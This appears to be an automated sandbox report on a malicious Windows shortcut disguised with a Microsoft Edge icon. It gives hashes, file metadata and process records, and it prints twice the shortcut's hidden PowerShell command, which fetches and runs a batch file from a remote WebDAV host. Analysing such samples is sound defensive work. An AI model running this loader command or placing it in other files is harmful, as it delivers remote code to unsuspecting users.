Preview:...................................FL..................F. .. .....g.w....v...5......5..#............................P.O. .:i.....+00.:...:..,.LB.)...A&...&......i..5q...^e*.w........5....j.2.#...mYfE .OSX8PP~1.LNK..N......EW.SmYfE....:..... ...............=...o.S.x.8.P.p.4.G.8.j...l.n.k.......S...............-.......R............t.......C:\Users\user\Desktop\oSx8Pp4G8j.lnk..9.%.P.r.o.g.r.a.m.F.i.l.e.s.(.x.8.6.).%.\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.`.......X.......114127...........hT..CrF.f4... .r...jc...+...E...hT..CrF.f4... .r...jc...+...E..........Y...1SPS.....Oh.....+'..=................R.u.n. .a.s. .A.d.m.i.n.i.s.t.r.a.t.o.r.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?...............................FL..................F.".. ...o1.Z......c.u....."KW....@...........................P.O. .:i.....+00.../C:\...................V.1.....EW.S..Windows.@......OwHmYfE....3........................W.i.n.d.o.w.s.....Z.1.....mY[E..Syst
Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:data
Category:dropped
Size (bytes):4599
Entropy (8bit):3.7672290797401233
Encrypted:false
SSDEEP:48:jkA79tgPyy1XlLPSogZoAvyy1XlGPSogZo01:gA6f1XsHNf1X3H3
MD5:46EF73DED149F47C841B156F488DB560
SHA1:B46FAC452047249F55C1B23ADCEAF95B13A4FC52
SHA-256:E2C22CFC6B112EC75F203C93398A3C6F653AD2B29BCBFA34EE9EACB1F7F1EADE
SHA-512:807BF49AA3E8819002CA1D0E728D96EBC8E532AE482AAD8E22B1DC8179A60DEFB9967812AF8AA82E0FB9CB4E0884CAB624E5287CE8FA7C1A00DF19DF6D4968CC
Malicious:false
Reputation:low
Preview:...................................FL..................F. .. .....g.w....v...5......5..#............................P.O. .:i.....+00.:...:..,.LB.)...A&...&......i..5q...^e*.w........5....j.2.#...mYfE .OSX8PP~1.LNK..N......EW.SmYfE....:..... ...............=...o.S.x.8.P.p.4.G.8.j...l.n.k.......S...............-.......R............t.......C:\Users\user\Desktop\oSx8Pp4G8j.lnk..9.%.P.r.o.g.r.a.m.F.i.l.e.s.(.x.8.6.).%.\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.`.......X.......114127...........hT..CrF.f4... .r...jc...+...E...hT..CrF.f4... .r...jc...+...E..........Y...1SPS.....Oh.....+'..=................R.u.n. .a.s. .A.d.m.i.n.i.s.t.r.a.t.o.r.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?...............................FL..................F.".. ...o1.Z......c.u....."KW....@...........................P.O. .:i.....+00.../C:\...................V.1.....EW.S..Windows.@......OwHmYfE....3........................W.i.n.d.o.w.s.....Z.1.....mY[E..Syst
File type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Mon Oct 28 21:04:21 2024, mtime=Mon Oct 28 21:04:21 2024, atime=Mon Oct 28 21:04:21 2024, length=450560, window=hidenormalshowminimized
Entropy (8bit):4.584334533263726
TrID:
  • Windows Shortcut (20020/1) 100.00%
File name:oSx8Pp4G8j.lnk
File size:1'571 bytes
MD5:872f688fe8f9a4d96e33e891a60651a9
SHA1:8139d3786c4dd94103be12a563344799663c1ee7
SHA256:e82d79751feb31a088cbd81afaa851541e00f1505a8c2677cf959a0ace4b544d
SHA512:6d538732b8ae94a7237c7d17f3bfc217b8889c447e050e86f987e00679881169a66dbc04ff5af25a148da77a931839d2eeefb489a46154a5add265f59d2b8d1e
SSDEEP:24:8IHJmddPjDvSw4pKl5bWTyMqJhUWnRdum2uG1YqVMXnab/rMTcm:8YJmTP+/uJHdp2bBGab4c
TLSH:E731232007F5031AEAB78739B8B7B332ED737805EB144D5E014406685C62611EEACF7B
File Content Preview:L..................F.... ...K.jW.)..K.jW.)..K.jW.)...............................P.O. .:i.....+00.../C:\...................V.1....._Y.h..Windows.@........R.@_Y.h..............................W.i.n.d.o.w.s.....Z.1.....dY<...System32..B........R.@dY<.......
Icon Hash:e886810ccecdeded

General

Relative Path:
Command Line Argument:-w h -c "iex '& \\yang-not-basically-loading.trycloudflare.com@SSL\DavWWWRoot\new.bat'"
Icon location:%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe
No network behavior found

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Target ID:1
Start time:03:43:12
Start date:13/11/2024
Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):false
Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c "iex '& \\yang-not-basically-loading.trycloudflare.com@SSL\DavWWWRoot\new.bat'"
Imagebase:0x7ff7b2bb0000
File size:452'608 bytes
MD5 hash:04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

Target ID:2
Start time:03:43:12
Start date:13/11/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff620390000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

No disassembly